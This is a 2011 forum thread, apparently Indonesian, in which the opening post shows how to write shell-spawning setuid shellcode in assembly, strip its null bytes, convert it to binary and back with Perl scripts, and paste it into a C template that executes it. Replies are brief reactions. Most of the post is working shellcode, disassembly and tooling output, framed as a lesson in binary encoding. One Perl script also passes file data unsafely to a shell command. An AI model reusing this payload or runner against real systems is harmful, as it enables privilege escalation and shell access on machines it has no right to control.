Home General Computer Multimedia Business Lounge
|
How to Code in 1 and 0 (Binary)
|
|
01-16-2011, 02:31 PM
|
|||
|
|||
|
How to Code in 1 and 0 (Binary)
How to Code in 1 and 0 (Binary)
Author: mywisdom ------------------------------------------------- "Real Programmers know how to code in 1 and 0" 10101010101010101010101010101010101010101010101010 There are tons of programming language. They are classified into 2 type: 1.Low-level programming language (machine codes) 2.High-level programming language (c,pascal,cobol,lisp,etc) In front on my eyes, i divide them into 5 (u dont need to be the same as me): 1. very high: perl, python 2. high : c, cobol,lisp 3. medium: assembly 4. low: hex codes 5. very2 low: 1 and 0 Today we're gonna play around with 1 and 0. As a sample of this setuid assembly code made by my friend ian182, We're gonna find out how it looks like in 1 and 0: --------ian182 setuid asm code------------ global _start section .text _start: xor ecx,ecx mov eax,0x17 int 80h push ecx push 0x68732f6e push 0x69622f2f mov ebx,esp mov eax,0xb int 80h -------------------------------------------------- mywisdom@mywisdom-Vostro1310:~/Documents$ nasm -f elf setuid.asm mywisdom@mywisdom-Vostro1310:~/Documents$ ld -o setuid setuid.o mywisdom@mywisdom-Vostro1310:~/Documents$ ./setuid $ exit Here we can see some hex of this : mywisdom@mywisdom-Vostro1310:~/Documents$ objdump -d setuid setuid: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: b8 17 00 00 00 mov $0x17,%eax 8048067: cd 80 int $0x80 8048069: 51 push %ecx 804806a: 68 6e 2f 73 68 push $0x68732f6e 804806f: 68 2f 2f 62 69 push $0x69622f2f 8048074: 89 e3 mov %esp,%ebx 8048076: b8 0b 00 00 00 mov $0xb,%eax 804807b: cd 80 int $0x80 mywisdom@mywisdom-Vostro1310:~/Documents$ So here's the hex: ----------------------- 31 c9 b8 17 00 00 00 cd 80 51 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 b8 0b 00 00 00 cd 80 ---------------------- We need to convert some null bytes over there (00) 8048062: b8 17 00 00 00 mov $0x17,%eax -> contains null bytes 8048076: b8 0b 00 00 00 mov $0xb,%eax -> contains null bytes ok let's see if we use 16 bit registers ------------------ mov $0x17,%ax mov $0xb,%ax ------------------ so it becomes: global _start section .text _start: xor ecx,ecx mov ax,0x17 int 80h push ecx push 0x68732f6e push 0x69622f2f mov ebx,esp mov ax,0xb int 80h ---------------- mywisdom@mywisdom-Vostro1310:~/Documents$ nasm -f elf setuid3.asm mywisdom@mywisdom-Vostro1310:~/Documents$ ld -o setuid3 setuid3.o mywisdom@mywisdom-Vostro1310:~/Documents$ objdump -d setuid3 setuid3: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: 66 b8 17 00 mov $0x17,%ax 8048066: cd 80 int $0x80 8048068: 51 push %ecx 8048069: 68 6e 2f 73 68 push $0x68732f6e 804806e: 68 2f 2f 62 69 push $0x69622f2f 8048073: 89 e3 mov %esp,%ebx 8048075: 66 b8 0b 00 mov $0xb,%ax 8048079: cd 80 int $0x80 mywisdom@mywisdom-Vostro1310:~/Documents$ still null bytes, ok what about using 8 bit registers: mov $0x17,%al mov $0xb,%al so here's the objdump: setuid2: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: b0 17 mov $0x17,%al 8048064: cd 80 int $0x80 8048066: 51 push %ecx 8048067: 68 6e 2f 73 68 push $0x68732f6e 804806c: 68 2f 2f 62 69 push $0x69622f2f 8048071: 89 e3 mov %esp,%ebx 8048073: b0 0b mov $0xb,%al 8048075: cd 80 int $0x80 mywisdom@mywisdom-Vostro1310:~/Documents$ no more null bytes. so the hex will be: \x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80 and after that we can find out what is binary code for that hex,let's save this hex: (here i replace \x to Z to make easy split ) Z31Zc9Zb0Z17ZcdZ80Z51Z68Z6eZ2fZ73Z68Z68Z2fZ2fZ62Z69Z89Ze3Zb0Z0bZcdZ80 into a file , ex: setuid.hex here a simple tool in perl to get binary (1 and 0 ) code of that hex: #!/usr/bin/perl #conv.pl #made by : mywisdom #simple hex to binary converter $file=$ARGV[0]; print "\nconverting hex at $file into binary\n"; open(PIPA, "cat $file |"); $hasil = <PIPA>; close(PIPA); print "\nhex:$hasil\n"; @pecahan = split("Z", $hasil); open (MYFILE, '>>setuid.bin'); foreach $hex (@pecahan) { $dec = hex($hex); $bin = sprintf("%b", $dec); if($bin ne 0) { print "binary:$bin\n"; print MYFILE $bin."\n"; } } close(MYFILE); ------------------ root@mywisdom-Vostro1310:/home/mywisdom/Documents# ./conv.pl setuid.hex converting hex at setuid.hex into binary hex:Z31Zc9Zb0Z17ZcdZ80Z51Z68Z6eZ2fZ73Z68Z68Z2fZ2fZ62Z69Z89Ze3Zb0Z0bZcdZ80 binary:110001 binary:11001001 binary:10110000 binary:10111 binary:11001101 binary:10000000 binary:1010001 binary:1101000 binary:1101110 binary:101111 binary:1110011 binary:1101000 binary:1101000 binary:101111 binary:101111 binary:1100010 binary:1101001 binary:10001001 binary:11100011 binary:10110000 binary:1011 binary:11001101 binary:10000000 root@mywisdom-Vostro1310:/home/mywisdom/Documents# cat setuid.bin 110001 11001001 10110000 10111 11001101 10000000 1010001 1101000 1101110 101111 1110011 1101000 1101000 101111 101111 1100010 1101001 10001001 11100011 10110000 1011 11001101 10000000 110001 11001001 10110000 10111 11001101 10000000 1010001 1101000 1101110 101111 1110011 1101000 1101000 101111 101111 1100010 1101001 10001001 11100011 10110000 1011 11001101 10000000 root@mywisdom-Vostro1310:/home/mywisdom/Documents# ----------------------------------- So here are c0d3s that processor executes: 110001 11001001 10110000 10111 11001101 10000000 1010001 1101000 1101110 101111 1110011 1101000 1101000 101111 101111 1100010 1101001 10001001 11100011 10110000 1011 11001101 10000000 110001 11001001 10110000 10111 11001101 10000000 1010001 1101000 1101110 101111 1110011 1101000 1101000 101111 101111 1100010 1101001 10001001 11100011 10110000 1011 11001101 10000000 From that setuid.bin we can convert back to hex (shellcode), here a simple tool to make shellcode from binary 1 and 0: prepare a shellcode template (ex : template.c): ------------------------------------ #include <stdio.h> char code[] = "shellc0de goes here"; int main() { (*(void(*)()) code)(); return 0; } ----------------------------------- save it as template.c (just sample) Here a simple perl c0d3s to convert above setuid.bin into hex and insert it into that shellcode template: ----------------------------- #!/usr/bin/perl #conv2.pl #by: mywisdom #simple binary lists converter to shellcode and insert it into our template.c $file_that_contains_binary_lists_to_convert = $ARGV[0]; open(file_that_contains_binary_lists_to_convert) or die("Could not open !!!"); print "-----------------------------------------\n"; foreach $line (<file_that_contains_binary_lists_to_convert>) { chomp($line); $decimal = oct( "0b$line" ); $hex = sprintf("%x", $decimal); if($hex ne 0) { if(length($hex)<2) { $hex="0".$hex; } print "\n$hex\n"; $shellc0de.="\\x".$hex } print "\n$shellc0de\n"; system("echo '$shellc0de' > shellcode"); } -------------------------------------- and finally here goes our shellcode root@mywisdom-Vostro1310:/home/mywisdom/Documents# cat shellcode \x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80 inserting into template becomes: #include <stdio.h> char code[] = "\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc9\xb0\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"; int main() { (*(void(*)()) code)(); return 0; } |
|||
|
01-16-2011, 04:21 PM
|
|||
|
|||
|
RE: How to Code in 1 and 0 (Binary)
puyeng dah...
![]() ![]()
|
|||
|
01-16-2011, 04:35 PM
|
|||
|
|||
|
RE: How to Code in 1 and 0 (Binary)
susah amat ne assembly...
|
|||
|
01-16-2011, 05:25 PM
|
|||
|
|||
| RE: How to Code in 1 and 0 (Binary) | |||
|
01-16-2011, 06:44 PM
|
|||
|
|||
| RE: How to Code in 1 and 0 (Binary) | |||
|
01-16-2011, 08:02 PM
|
|||
|
|||
|
RE: How to Code in 1 and 0 (Binary)
paka bahasa indonesia dong kak dom..
|
|||
|
01-16-2011, 10:56 PM
|
|||
|
|||
|
RE: How to Code in 1 and 0 (Binary)
Bahasanya bikin
|
|||
|
01-17-2011, 03:00 AM
(This post was last modified: 01-17-2011 03:01 AM by sang.sakaya.)
|
|||
|
|||
| RE: How to Code in 1 and 0 (Binary) | |||
|
01-18-2011, 04:44 PM
|
|||
|
|||
|
RE: How to Code in 1 and 0 (Binary)
keren om dom :-bd ane bookmark dulu
|
|||
|
01-19-2011, 07:46 AM
|
|||
|
|||
| RE: How to Code in 1 and 0 (Binary) | |||
|
« Next Oldest | Next Newest »
|
| Topic Tools | ||||||
| ||||||
| Users Browsing |
| 1 Guest(s) |

















